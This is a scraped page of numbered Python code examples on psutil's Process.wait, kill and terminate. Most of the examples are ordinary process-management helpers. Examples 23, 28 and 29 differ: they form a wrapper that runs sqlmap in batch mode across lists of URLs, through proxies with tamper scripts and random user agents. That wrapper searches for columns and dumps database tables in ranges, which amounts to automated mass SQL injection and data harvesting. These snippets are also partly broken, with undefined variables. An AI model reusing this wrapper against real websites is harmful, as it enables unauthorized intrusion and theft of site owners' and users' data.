Exemple #1
0
def kill_proc_tree(pid, including_parent=True, timeout=5):
    try:
        parent = Process(pid)
    except NoSuchProcess:
        return
    children = parent.children(recursive=True)
    for child in children:
        if verbose.kill:
            print("killing {}".format(child.pid))
        try:
            child.kill()
            child.terminate()
        except NoSuchProcess:
            pass
    gone, still_alive = wait_procs(children, timeout=timeout)
    if including_parent:
        try:
            if verbose.kill:
                print("killing {}".format(parent.pid))
            parent.kill()
            parent.terminate()
            try:
                parent.wait(timeout)
            except TimeoutExpired:
                print("timeout expired, process may still be around: {}".format(parent.pid))
        except NoSuchProcess:
            pass
Exemple #2
0
def stop_doppelgänger(pid_path="/tmp/menu.pid"):

    if os.path.isfile(pid_path):
        if os.path.isfile(pid_path):
            with open(pid_path, "r") as f:
                pid = int(f.read())

            try:
                twin = Process(pid)
                twin.send_signal(signal.SIGTERM)
                print(f"our twin {twin.pid} was stopped", flush=True)
                twin.wait(timeout=5)
            except psutil.NoSuchProcess as e:
                pass
            except psutil.TimeoutExpired as e:
                print(f"Timeout expired; exiting.", flush=True)
                sys.exit(10)
            except OSError as e:
                # errno.ESRCH unimportant: sometimes the /tmp/menu.pid is stale
                if e.errno == errno.ESRCH:
                    print(f"no such process which is ok.")
                else:
                    print(f"Unexpected OSError {e}")
            except Exception as e:
                print(f"Unexpected exception {e}")

    this_pid = psutil.Process()
    with open(pid_path, "w") as f:
        f.write(str(this_pid.pid))
    return this_pid.pid
Exemple #3
0
 def kill_process_group(self, pid):
     from psutil import Process
     parent = Process(pid)
     for child in parent.children(recursive=True):
         child.kill()
     parent.kill()
     parent.wait()
Exemple #4
0
def _kill(process: psutil.Process, timeout=5) -> bool:
    """Attempts to kill the process in a fail-safe manner and returns status

    Tries to terminate the process first and waits for it for the given timeout.
    If termination fails - attempts to kill the process instead and wait for it to die.

    Args:
        process(Process):   the process that is to be killed
        timeout(int):       the timeout to wait after each terminate/kill attempt

    Returns:
        obj(bool):          True if the process has been killed/terminated,
                            False if the process is still running after this method returns
    """

    if not process.is_running():
        return True

    try:
        process.terminate()
        try:
            process.wait(timeout)
            return True
        except:
            process.kill()
            try:
                process.wait(timeout)
                return True
            except:
                pass
    except:
        pass

    return not process.is_running()
Exemple #5
0
 def __watch_process_worker(self, proc: Process):
     if proc.is_running():
         proc.wait()
         log(f"Process: {proc.pid} exited")
     else:
         log(f"Process: {proc.pid} does not exist (already exited?)")
     if proc in self.registred_games:
         self._unregister_game(self.process, proc)
Exemple #6
0
def cleanup_zombie_process(pid):
    try:
        if pid_exists(pid):
            p = Process(pid)
            if p.status() == STATUS_ZOMBIE:
                p.wait()
    except Exception as e:
        pass
def wait_for_process_then_notify(pid, message=None, priority=None):
    process = Process(pid)

    default_message = "Process {} ({})  has finished.".format(
        ' '.join(process.cmdline()), pid)

    process.wait()

    notify(message or default_message, priority=priority)
Exemple #8
0
def stop_diamond(conf_path):
    config_file = os.path.join(conf_path, CONFIG_NAME)
    pid = get_pid(config_file)
    if pid:
        diamond_process = Process(pid)
        diamond_process.terminate()
        diamond_process.wait(timeout=DEFAULT_TIMEOUT)

        if diamond_process.is_running():
            raise exceptions.NonRecoverableError("Diamond couldn't be killed")
    else:
        raise exceptions.NonRecoverableError('Failed reading diamond pid file')
Exemple #9
0
    def _stop(self):
        logging.info("Stopping service process %s", self.command)

        try:
            self._callFromThread(self._terminateProcess)
        except:
            if self.protocol.transport.pid:
                # In case something goes wrong let's try our best to not leave
                # running processes around.
                logging.info(
                    "Service process didn't terminate, trying to kill it")
                process = Process(self.protocol.transport.pid)
                process.kill()
                process.wait(timeout=1)
Exemple #10
0
 async def _close_process(self, proc: psutil.Process):
     try:
         proc.terminate()
         await asyncio.sleep(1)
         try:
             if proc.status() != psutil.STATUS_ZOMBIE:
                 proc.kill()
         except Exception:
             pass
     except Exception:
         pass
     try:
         proc.wait(timeout=0)
     except Exception:
         pass
Exemple #11
0
def _kill(pid, timeout=1.5):
    try:
        process = Process(pid)
    except NoSuchProcess:
        return
    try:
        process.send_signal(SIGINT)
        sleep(timeout)
    except OSError:
        pass
    finally:
        try:
            process.send_signal(SIGKILL)
        except (OSError, NoSuchProcess):
            pass
        process.wait()
Exemple #12
0
def wait_output(settings, popen):
    """Returns `True` if we can get output of the command in the
    `wait_command` time.

    Command will be killed if it wasn't finished in the time.

    """
    proc = Process(popen.pid)
    try:
        proc.wait(settings.wait_command)
        return True
    except TimeoutExpired:
        for child in proc.get_children(recursive=True):
            child.kill()
        proc.kill()
        return False
Exemple #13
0
def _kill(pid, timeout=1.5):
    try:
        process = Process(pid)
    except NoSuchProcess:
        return
    try:
        process.send_signal(SIGINT)
        sleep(timeout)
    except OSError:
        pass
    finally:
        try:
            process.send_signal(SIGKILL)
        except (OSError, NoSuchProcess):
            pass
        process.wait()
Exemple #14
0
def wait_output(settings, popen):
    """Returns `True` if we can get output of the command in the
    `wait_command` time.

    Command will be killed if it wasn't finished in the time.

    """
    proc = Process(popen.pid)
    try:
        proc.wait(settings.wait_command)
        return True
    except TimeoutExpired:
        for child in proc.get_children(recursive=True):
            child.kill()
        proc.kill()
        return False
Exemple #15
0
def kill_process_and_children(parent_process: psutil.Process,
                              logger,
                              timeout: int = 20) -> None:
    """Attempts to recursively kill the entire process tree under
    a given parent process"""
    try:
        for child in parent_process.children():
            kill_process_and_children(child, logger)

        parent_process.kill()
        parent_process.wait(timeout=timeout)
    except psutil.NoSuchProcess:
        logger.debug("Process %i has already exited", parent_process.pid)
        pass
    except psutil.TimeoutExpired:
        logger.debug("Timeout while waiting for process %i to terminate" %
                     parent_process.pid)
        pass
Exemple #16
0
    def _wait_output(popen, is_slow):
        """Returns `True` if we can get output of the command in the
        `settings.wait_command` time.

        Command will be killed if it wasn't finished in the time.

        :type popen: Popen
        :rtype: bool

        """
        proc = Process(popen.pid)
        try:
            proc.wait(settings.wait_slow_command if is_slow
                      else settings.wait_command)
            return True
        except TimeoutExpired:
            for child in proc.children(recursive=True):
                child.kill()
            proc.kill()
            return False
Exemple #17
0
    def _wait_output(popen, is_slow):
        """Returns `True` if we can get output of the command in the
        `settings.wait_command` time.

        Command will be killed if it wasn't finished in the time.

        :type popen: Popen
        :rtype: bool

        """
        proc = Process(popen.pid)
        try:
            proc.wait(settings.wait_slow_command if is_slow
                      else settings.wait_command)
            return True
        except TimeoutExpired:
            for child in proc.children(recursive=True):
                child.kill()
            proc.kill()
            return False
def stop_diamond(conf_path):
    config_file = os.path.join(conf_path, CONFIG_NAME)
    pid = get_pid(config_file)
    if pid:
        need_kill = True
        try:
            diamond_process = Process(pid)
            diamond_process.terminate()
            diamond_process.wait(timeout=DEFAULT_TIMEOUT)
            need_kill = diamond_process.is_running()
        except Error:
            pass
        if need_kill:
            call(["sudo", "kill", str(pid)])
            # diamond deletes the pid file, even if killed
            for _ in range(DEFAULT_TIMEOUT):
                pid = get_pid(config_file)
                if not pid:
                    return
                sleep(1)
    else:
        raise exceptions.NonRecoverableError('Failed reading diamond pid file')
def stop_diamond(conf_path):
    config_file = os.path.join(conf_path, CONFIG_NAME)
    pid = get_pid(config_file)
    if pid:
        need_kill = True
        try:
            diamond_process = Process(pid)
            diamond_process.terminate()
            diamond_process.wait(timeout=DEFAULT_TIMEOUT)
            need_kill = diamond_process.is_running()
        except Error:
            pass
        if need_kill:
            call(["sudo", "kill", str(pid)])
            # diamond deletes the pid file, even if killed
            for _ in range(DEFAULT_TIMEOUT):
                pid = get_pid(config_file)
                if not pid:
                    return
                sleep(1)
    else:
        raise exceptions.NonRecoverableError('Failed reading diamond pid file')
    def stop(self):
        """
        Stop the Elasticsearch server.

        :rtype : ElasticsearchRunner
        :return: The instance called on.
        """
        if self.is_running():
            server_proc = Process(self.es_state.server_pid)
            server_proc.terminate()
            server_proc.wait()

            if process_exists(self.es_state.server_pid):
                logging.warn('Failed to stop Elasticsearch server process PID %d ...' % self.es_state.server_pid)

            # delete transient directories
            if 'path' in self.es_config:
                if 'log' in self.es_config['path']:
                    log_path = self.es_config['path']['log']
                    logging.info('Removing transient log path %s ...' % log_path)
                    rmtree(log_path)

                if 'data' in self.es_config['path']:
                    data_path = self.es_config['path']['data']
                    logging.info('Removing transient data path %s ...' % data_path)
                    rmtree(data_path)

            # delete temporary config file
            if os.path.exists(self.es_state.config_fn):
                logging.info('Removing transient configuration file %s ...' % self.es_state.config_fn)
                os.remove(self.es_state.config_fn)

            self.es_state = None
            self.es_config = None
        else:
            logging.warn('Elasticsearch is not running ...')

        return self
Exemple #21
0
def stop(**kwargs):
    lock = PIDLockFile(os.path.join(RAMMON_PATH, "rammon.pid"))
    if try_systemd_stop():
        logger.info("Stopping rammon daemon with systemd...")
    if lock.is_locked():
        try:
            proc = Process(lock.read_pid())
            proc.terminate()
            try:
                proc.wait(1)
            except TimeoutExpired:
                print("Rammon did not stop gracefully, killing it...")
                proc.kill()
                lock.break_lock()
            logger.info("Rammon stopped successfully")
        except NoSuchProcess:
            logger.warning(
                "Rammon was already stopped, but had not stopped cleanly.\n"
                "Breaking pidfile lock...")
            lock.break_lock()
    else:
        logger.error("Rammon is already stopped")
        sys.exit(1)
Exemple #22
0
 def doKillChild(child: psutil.Process, sig: int):
     Logging.info("Killing sub-sub process {} with signal {}".format(child.pid, sig))
     child.send_signal(sig)
     try:            
         retCode = child.wait(20) # type: ignore
         if (- retCode) == signal.SIGSEGV: # type: ignore # Crashed
             Logging.warning("Process {} CRASHED, please check CORE file!".format(child.pid))
         elif (- retCode) == sig : # type: ignore
             Logging.info("Sub-sub process terminated with expected return code {}".format(sig))
         else:
             Logging.warning("Process terminated, EXPECTING ret code {}, got {}".format(sig, -retCode)) # type: ignore
         return True # terminated successfully
     except psutil.TimeoutExpired as err:
         Logging.warning("Failed to kill sub-sub process {} with signal {}".format(child.pid, sig))
     return False # did not terminate
Exemple #23
0
def sqli_check(url, pos, check_timeout, proxy=None):
    print "Find SQLi"
    print('set %s' % url)
    print('left %s url(s)' % pos)
    if proxy:
        print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy))
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME and wrapper_config.PROXY_PASSWORD:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--batch',
            '--time-sec=30',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--threads=3',
            '--answers=quit=n,crack=n',
            '--tamper=%s' % wrapper_config.TAMPER,
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
            '--proxy-cred=%s:%s' %
            (wrapper_config.PROXY_USERNAME, wrapper_config.PROXY_PASSWORD),
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
    elif wrapper_config.PROXY:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--batch',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--threads=3',
            '--answers=quit=n,crack=n',
            '--tamper=%s' % wrapper_config.TAMPER,
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
    else:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--time-sec=15',
            '--batch',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--threads=3',
            '--answers=quit=n,crack=n',
            '--tamper=%s' % wrapper_config.TAMPER,
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
    print('done/make txt dump for %s | start: %s | end: %s ' %
          (url, start_time, end_time))
    find_log(url)
Exemple #24
0
class SpyProcess:
    """
    Spying process to detect the currently open files and their current reading
    advancement.

    Notes
    -----
    There is three threads at play here:

    - The main thread, which handles the display
    - The ticking thread which drives refreshing
    - The process watching thread, which waits for the process to be done

    Both the ticking and the process threads communicate their ticks to the
    main thread through a queue. This way the main thread can easily display
    an update every second and close instantly when the process is done.
    """
    def __init__(self,
                 args: Sequence[Text],
                 period: float,
                 output: Output,
                 attach=Optional[int]):
        self.args = args
        self.attach = attach
        self.proc: Optional[Popen] = None
        self.files_cache = {}
        self.display_ticks = Queue()
        self.process_thread = Thread(target=self.watch_process)
        self.ticks_thread = Thread(target=self.generate_ticks,
                                   args=(period, ),
                                   daemon=True)
        self.progress = Progress(output)
        self.counters = {}

    def start(self):
        """
        If a PID was supplied to attach in the CLI options then use it.
        Otherwise use the provided arguments to start the command.
        """

        if self.attach is None:
            try:
                self.proc = Popen(self.args)
            except FileNotFoundError:
                stderr.write(f'Could not find command "{self.args[0]}"\n')
                exit(1)
        else:
            try:
                self.proc = Process(self.attach)
            except (AccessDenied, NoSuchProcess):
                stderr.write(
                    f"Could not attach process {self.attach}. Does it exist? "
                    f"Do you have the rights?\n")
                exit(1)

    def open_files(self) -> List[popenfile]:
        """
        Returns the list of open files
        """

        return self.proc.open_files()

    def list_files(self) -> Sequence[FileInfo]:
        """
        Generates the FileInfo object of all interesting files.
        """

        files_in_use = set()
        out = []

        try:
            for f in self.open_files():
                if f.mode != "r":
                    continue

                files_in_use.add(f.path)

                if f.path not in self.files_cache:
                    self.files_cache[f.path] = path.getsize(f.path)

                if hasattr(f, "position"):
                    out.append(
                        FileInfo(
                            path=f.path,
                            size=self.files_cache[f.path],
                            position=f.position,
                        ))
        except (AccessDenied, NoSuchProcess):
            pass

        for k in set(self.files_cache.keys()) - files_in_use:
            del self.files_cache[k]

        return out

    def print_progress(self):
        """
        UI display thread, looping around until the thing is done
        """

        stop = False

        try:
            while not stop:
                files = self.list_files()
                self.progress.update(files)
                stop = self.display_ticks.get()
        finally:
            self.progress.close()

    def generate_ticks(self, period: float):
        """
        Ticks into the queue every "period" second

        Parameters
        ----------
        period
            Number of seconds between two ticks
        """

        while True:
            self.display_ticks.put(False)
            sleep(period)

    def start_display(self):
        """
        Starts the threads that will tick the display
        """

        self.ticks_thread.start()
        self.process_thread.start()
        self.print_progress()

    def watch_process(self):
        """
        Waits until the process finishes and raises the tick
        """

        self.return_code()
        self.display_ticks.put(True)

    def return_code(self) -> int:
        """
        Waits for the process to finish and returns its return code
        """

        return self.proc.wait()

    def send_signal(self, sig):
        """
        Sends a signal to the child process

        Parameters
        ----------
        sig
            Unix signal
        """

        try:
            self.proc.send_signal(sig)
        except NoSuchProcess:
            pass
Exemple #25
0
    def run(self):
        start_message = Start(self)

        errors = self._check_job_files()

        errors.extend(self._assert_arg_list())

        self._dump_exec_env()

        if errors:
            yield start_message.with_error("\n".join(errors))
            return

        yield start_message

        executable = self.job_data.get("executable")
        assert_file_executable(executable)

        arg_list = [executable]
        if self.job_data.get("argList"):
            arg_list += self.job_data["argList"]

        if self.job_data.get("stdin"):
            stdin = open(self.job_data.get("stdin"))
        else:
            stdin = None

        if self.std_err:
            stderr = open(self.std_err, "w")
        else:
            stderr = None

        if self.std_out:
            stdout = open(self.std_out, "w")
        else:
            stdout = None

        if self.job_data.get("target_file"):
            target_file_mtime = 0
            if os.path.exists(self.job_data["target_file"]):
                stat = os.stat(self.job_data["target_file"])
                target_file_mtime = stat.st_mtime

        exec_env = self.job_data.get("exec_env")
        if exec_env:
            exec_name, _ = os.path.splitext(
                os.path.basename(self.job_data.get("executable"))
            )
            with open("%s_exec_env.json" % exec_name, "w") as f:
                f.write(json.dumps(exec_env))

        max_running_minutes = self.job_data.get("max_running_minutes")
        run_start_time = dt.now()

        proc = Popen(
            arg_list,
            stdin=stdin,
            stdout=stdout,
            stderr=stderr,
            env=self.job_data.get("environment"),
        )

        exit_code = None

        process = Process(proc.pid)
        max_memory_usage = 0
        while exit_code is None:
            try:
                memory = process.memory_info().rss
            except (NoSuchProcess, AccessDenied, ZombieProcess):
                """In case of a process that has died and is in some
                transitional state, we ignore any failures. Only seen on OSX
                thus far.
                See https://github.com/giampaolo/psutil/issues/1044#issuecomment-298745532
                """
                memory = 0
            if memory > max_memory_usage:
                max_memory_usage = memory

            yield Running(self, max_memory_usage, memory)

            try:
                exit_code = process.wait(timeout=self.MEMORY_POLL_PERIOD)
            except TimeoutExpired:
                run_time = dt.now() - run_start_time
                if (
                    max_running_minutes is not None
                    and run_time.seconds > max_running_minutes * 60
                ):
                    """
                    If the spawned process is not in the same process group
                    as the callee (job_dispatch), we will kill the process
                    group explicitly.

                    Propagating the unsuccessful Exited message will kill the
                    callee group. See job_dispatch.py.
                    """
                    process_group_id = os.getpgid(proc.pid)
                    this_group_id = os.getpgid(os.getpid())
                    if process_group_id != this_group_id:
                        os.killpg(process_group_id, signal.SIGKILL)

                    yield Exited(self, exit_code).with_error(
                        "Job:{} has been running for more than {} minutes - explicitly killed.".format(
                            self.name(), max_running_minutes
                        )
                    )
                    return

        exited_message = Exited(self, exit_code)

        if exit_code != 0:
            yield exited_message.with_error(
                "Process exited with status code {}".format(exit_code)
            )
            return

        # exit_code is 0

        if self.job_data.get("error_file"):
            if os.path.exists(self.job_data["error_file"]):
                yield exited_message.with_error(
                    "Found the error file:{} - job failed.".format(
                        self.job_data["error_file"]
                    )
                )
                return

        if self.job_data.get("target_file"):
            target_file_error = self._check_target_file_is_written(target_file_mtime)
            if target_file_error:
                yield exited_message.with_error(target_file_error)
                return

        yield exited_message
Exemple #26
0
 def _stop_worker_process(self, process: psutil.Process):
     """ Terminate a new worker node and remove it from the process pool. """
     process.terminate()
     process.wait(timeout=60)
     self.job_queue_size -= 1
     self._processes.remove(process)
Exemple #27
0
except Exception as exception:

    RETCODE -= 100
    print(f"Exception occured:\n####\n\n{exception}\n\n####")

finally:

    from psutil import pid_exists, Process
    while pid_exists(PID):
        proc = Process(PID)
        timeout = 5
        try:
            print(f"[{timeout} seconds] Trying to kill process PID: {PID}")
            proc.kill()
            proc.wait(timeout)
        except:
            pass
        finally:
            if pid_exists(PID):
                try:
                    print(
                        f"[{timeout} seconds] Trying to kill process PID: {PID}"
                    )
                    proc.terminate()
                    proc.wait(timeout)
                except:
                    print(f"Process is out of controll PID: {PID}")

    if stderr is not None:
        stdout.close()
Exemple #28
0
def sqlmap_dump(url, db, table, limit, check_timeout, proxy=None):
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME and wrapper_config.PROXY_PASSWORD:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--batch',
            '--time-sec=30',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--answer="quit=N"',
            '--answer="crack=n"',
            '--tamper=space2plus',
            '--search',
            '-C %s' % dump,
            '--dump-format=CSV',
            '-D%s' % db,
            '-T%s' % table,
            '--start=%s' % limit[0],
            '--stop=%s' % limit[1],
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
            '--proxy-cred=%s:%s' %
            (wrapper_config.PROXY_USERNAME, wrapper_config.PROXY_PASSWORD),
            '--exclude-sysdbs',
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
            '-o',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
    elif wrapper_config.PROXY:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--batch',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--answer="quit=N"',
            '--answer="crack=n"',
            '--tamper=space2plus',
            '--search',
            '-C %s' % dump,
            '--dump-format=CSV',
            '-D%s' % db,
            '-T%s' % table,
            '--start=%s' % limit[0],
            '--stop=%s' % limit[1],
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
            '--exclude-sysdbs',
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
            '-o',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
    else:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--time-sec=15',
            '--batch',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--answer="quit=n"',
            '--answer="crack=n"',
            '--tamper=space2plus',
            '--search',
            '-C %s' % dump,
            '--dump-format=CSV',
            '-D%s' % db,
            '-T%s' % table,
            '--start=%s' % limit[0],
            '--stop=%s' % limit[1],
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            #'--proxy=socks5://localhost:9091',
            '--exclude-sysdbs',
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
            '-o',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
Exemple #29
0
def sqlmap_check(url, pos, check_timeout, proxy=None):
    print('set %s' % url)
    print('left %s url(s)' % pos)
    if proxy:
        print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy))
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME and wrapper_config.PROXY_PASSWORD:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--batch',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--count',
            '--tamper=space2plus',
            '--dump-format=CSV',
            '--search',
            '-C %s' % dump,
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
            '--proxy-cred=%s:%s' %
            (wrapper_config.PROXY_USERNAME, wrapper_config.PROXY_PASSWORD),
            '--exclude-sysdbs',
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
            '-o',
            'log.txt > &',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
    elif wrapper_config.PROXY:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--batch',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--count',
            '--tamper=space2plus',
            '--dump-format=CSV',
            '--search',
            '-C %s' % dump,
            #'--answer="quit=N"',
            #'--answer="crack=n"',
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            #'--proxy=socks5://localhost:9091',
            '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy),
            '--exclude-sysdbs',
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
            '-o',
            'log.txt > &',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass
    else:
        process = Popen([
            'python',
            'sqlmap.py',
            '--url=%s' % url,
            '--batch',
            '--time-sec=30',
            '--level=%s' % wrapper_config.LEVEL,
            '--risk=%s' % wrapper_config.RISK,
            '--random-agent',
            '--count',
            '--tamper=space2plus',
            '--search',
            '-C %s' % dump,
            '--dump-format=CSV',
            '--answer="quit=n"',
            '--answer="crack=n"',
            '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS,
            #'--proxy=socks5://localhost:9091',
            '--exclude-sysdbs',
            '--timeout=%s' % wrapper_config.TIMEOUT,
            '--retries=%s' % wrapper_config.RETRIES,
            '--technique=EUSQ',
            '-o',
            'log.txt > &',
        ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:
            pass
        try:
            psu_process.kill()
        except:
            pass

    end_time = datetime.now().time()
    if domains_dublicate(url):
        print('detect domains dublicate %s pass it' % url)
        return False
    dbs_data = log_num_parser(url)
    #print  dbs_data
    #sys.exit()

    if dbs_data:
        async_tables_pool = Pool()
        for db, tables in dbs_data.items():
            for table, num in tables.items():
                for step in STEPS:  #STEPS = [10,100, 300, 500, 1000, 1500, 2000, 3000, 5000, 10000, 20000, 50000, 100000]
                    if int(num) > step:
                        try:
                            async_tables_pool.apply_async(
                                sqlmap_dump(
                                    url, db, table,
                                    [(step - wrapper_config.DUMP_COLUMN_LIMIT +
                                      1), step], 560, proxy))
                        except:
                            pass
                        '''
                        async_tables_pool.apply_async(
                            sqlmap_dump, (
                                url, 
                                db, 
                                table, 
                                [(step - wrapper_config.DUMP_COLUMN_LIMIT + 1), step], 
                                60,
                                proxy))
                        '''
                    else:
                        '''
                        print int(num),'int(num) < step'
                        async_tables_pool.apply_async( 
                            sqlmap_dump(
                                url, 
                                db, 
                                table, 
                                [(step - wrapper_config.DUMP_COLUMN_LIMIT + 1), step], 
                                60,
                                proxy))
                        '''
                        break
        async_tables_pool.close()
        async_tables_pool.join()
        if check_dump_folder(url):
            make_txt_dump(url, log_num_parser(url))
            end_time = datetime.now().time()
            print('done/make txt dump for %s | start: %s | end: %s ' %
                  (url, start_time, end_time))
    remove_dump_folder(url)
    print('remove temp folder %s' % url)